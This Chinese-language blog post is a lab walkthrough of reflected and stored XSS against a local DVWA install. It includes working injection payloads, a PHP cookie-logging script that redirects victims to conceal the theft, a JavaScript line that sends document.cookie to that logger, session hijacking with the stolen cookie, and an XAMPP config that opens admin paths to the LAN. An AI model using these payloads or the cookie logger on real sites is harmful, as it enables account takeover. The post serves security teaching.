【xss】dvwa平臺下的實戰

課堂上要求學生自由組隊準備一個安全相關的主題講解,於是會興沖沖的找到學霸想抱大腿。最近應大腿的需求,決定要補充ppt一部分內容以掩蓋我們打醬油的真面目,大胖這裏是學霸的外號的意思是一個醬油的技術點太醬油,兩個醬油的技術點拼起來就刁刁的叻!
前一篇醬油技術是
登陸會話劫持
還有一個醬油技術就是本文了。
也是醉了,後來確定的主題竟然是如何幫助同學查看室友空間,更醉的是,這種猥瑣的事情要讓我來做!然而我並不會web安全,我只想安安靜靜的看彙編!
於是經過一番吐槽之後我躁動的心終於平靜下來,下面進入正題:

環境

服務器:Apache
數據庫:MySQL
網址:192.168.1.104/dvwa
訪問者:192.168.1.113

關於如何安裝dvwa網上的教程很多,這裏不再敖述,可以搜索一下,需要注意的是,xampp端口被佔用和局域網訪問的兩個問題。
端口占用

1.80端口衝突,解決方法:
打開目錄C:\xampp\apache\conf(我的安裝目錄爲C:\xampp)下的httpd.conf文件,將Listen 80和 ServerName localhost:80中的80改爲8081或其它值(儘量不要使用0-1023端口,這個是系統保留端口),要保持一致。
2.監聽端口443衝突,解決方法:
打開目錄C:\xampp\apache\conf\extra (我的安裝目錄爲C:\xampp)下的httpd-ssl.conf文件,將Listen 443這句註釋掉:# Listen 443或將443改爲4433或其它值(儘量不要使用0-1023)。

局域網訪問

  1. 修改httpd.conf(xampp/apache/conf/httpd.conf)
    把Listen 80改成Listen 192.168.0.188:80
    192.168.0.188換成實際服務器的ip地址

  2. 打開httpd-xampp.conf(/xampp/apache/conf/extra/httpd-xampp.conf)
    搜索關鍵字: Order deny,allow
    然後在Order deny,allow下面一行有句 Deny from all
    在Deny from all前加上#
    完整形式:

<LocationMatch "^/(?i:(?:xampp|security|licenses|phpmyadmin|webalizer|server-status|server-info))">
    Order deny,allow
    #Deny from all
    Allow from 127.0.0.0/8
       # Require local
    ErrorDocument 403 /error/XAMPP_FORBIDDEN.html.var
</LocationMatch>

配置好環境,在局域網下能夠成功訪問,就可以開始着手攻擊了
這裏寫圖片描述

攻擊

xss reflected

發現漏洞

xss發生在一切由輸入輸出的地方。訪問網頁的時候發現遇到這樣的窗口,在輸入venidic的時候,瀏覽器直接返回成這樣的數據
這裏寫圖片描述
右鍵查看源碼,發現根本沒有做任何的過濾就直接返回了

<div class="vulnerable_code_area">

        <form name="XSS" action="#" method="GET">
            <p>What's your name?</p>
            <input type="text" name="name">
            <input type="submit" value="Submit">
        </form>

        <pre>Hello venidic </pre>

    </div>

那我們直接可以利用</pre>閉合掉前面的一個<pre>標籤,然後用<pre>閉合掉</pre>,在中間就可以填寫攻擊代碼了
構造測試代碼

</pre><script>alert('xss')</script><pre>

測試成功
這裏寫圖片描述

利用漏洞

之前一直用xss就是彈個框以證實漏洞的存在,然而着並沒有什麼卵用,xss的猥瑣之處在於它處於前端,可以很容易的造成js腳本在瀏覽器任意執行,達到竊取cookie,劫持用戶會話,甚至是開發出xss worm。因爲本人web實在太渣,所以只會講最基本的盜取cookie的利用方式:

想要記錄來訪者cookie需要寫一個腳本,如果受害者觸發了這段js,則腳本就會記錄下受害者的cookie
截獲cookie的php腳本

<?php

$cookie = $_GET['cookie']; //以GET方式獲取cookie變量值
$ip = getenv ('REMOTE_ADDR'); //遠程主機IP地址
$time=date('Y-m-d g:i:s'); //以“年-月-日 時:分:秒”的格式顯示時間
$referer=getenv ('HTTP_REFERER'); //鏈接來源
$agent = $_SERVER['HTTP_USER_AGENT']; //用戶瀏覽器類型

$fp = fopen('cookie.txt', 'a'); //打開cookie.txt,若不存在則創建它
fwrite($fp," IP: " .$ip. "\n Date and Time: " .$time. "\n User Agent:".$agent."\n Referer: ".$referer."\n Cookie: ".$cookie."\n\n\n"); //寫入文件
fclose($fp); //關閉文件

header("Location: http://www.baidu.com")//重定向到baidu,防止發現
?>

那麼js攻擊代碼就可以這樣寫:

</pre><script>document.location = 'http://192.168.1.104/acceptcookie.php?cookie=' + document.cookie;</script><pre>

這裏寫圖片描述
點擊提交
網頁被重定向到了baidu,證明攻擊成功
這裏寫圖片描述

打開腳本同目錄下的cookie.txt
這裏寫圖片描述

劫持成功

打開桂林老兵瀏覽器,修改cookie,然後登陸主頁,無需密碼直接進入
這裏寫圖片描述

利用成功

xss stored

發現漏洞

繼續瀏覽,發現有留言本
這裏寫圖片描述
隨便填寫,發現沒有任何過濾
這裏寫圖片描述

攻擊代碼
message處:

<script>alert('xss')</script>

提交
這裏寫圖片描述
觸發成功,退出網站
此時,我作爲網站管理員從服務器出進入網站管理
這裏寫圖片描述
觸發成功,作爲遊客瀏覽留言板,同樣觸發成功。

利用漏洞

xss利用相當靈活,最簡單的cookie竊取的方法同上。

抱大腿的工作到這裏就結束啦,希望學霸上課演講順利!不要辜負我在考試周前放棄預習,熬夜準備這個鬼而長出來的痘痘!

//                            _ooOoo_  
//                           o8888888o  
//                           88" . "88  
//                           (| -_- |)  
//                            O\ = /O  
//                        ____/`---'\____  
//                      .   ' \\| |// `.  
//                       / \\||| : |||// \  
//                     / _||||| -:- |||||- \  
//                       | | \\\ - /// | |  
//                     | \_| ''\---/'' | |  
//                      \ .-\__ `-` ___/-. /  
//                   ___`. .' /--.--\ `. . __  
//                ."" '< `.___\_<|>_/___.' >'"".  
//               | | : `- \`.;`\ _ /`;.`/ - ` : | |  
//                 \ \ `-. \_ __\ /__ _/ .-` / /  
//         ======`-.____`-.___\_____/___.-`____.-'======  
//                            `=---='  
//  
//         .............................................  
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章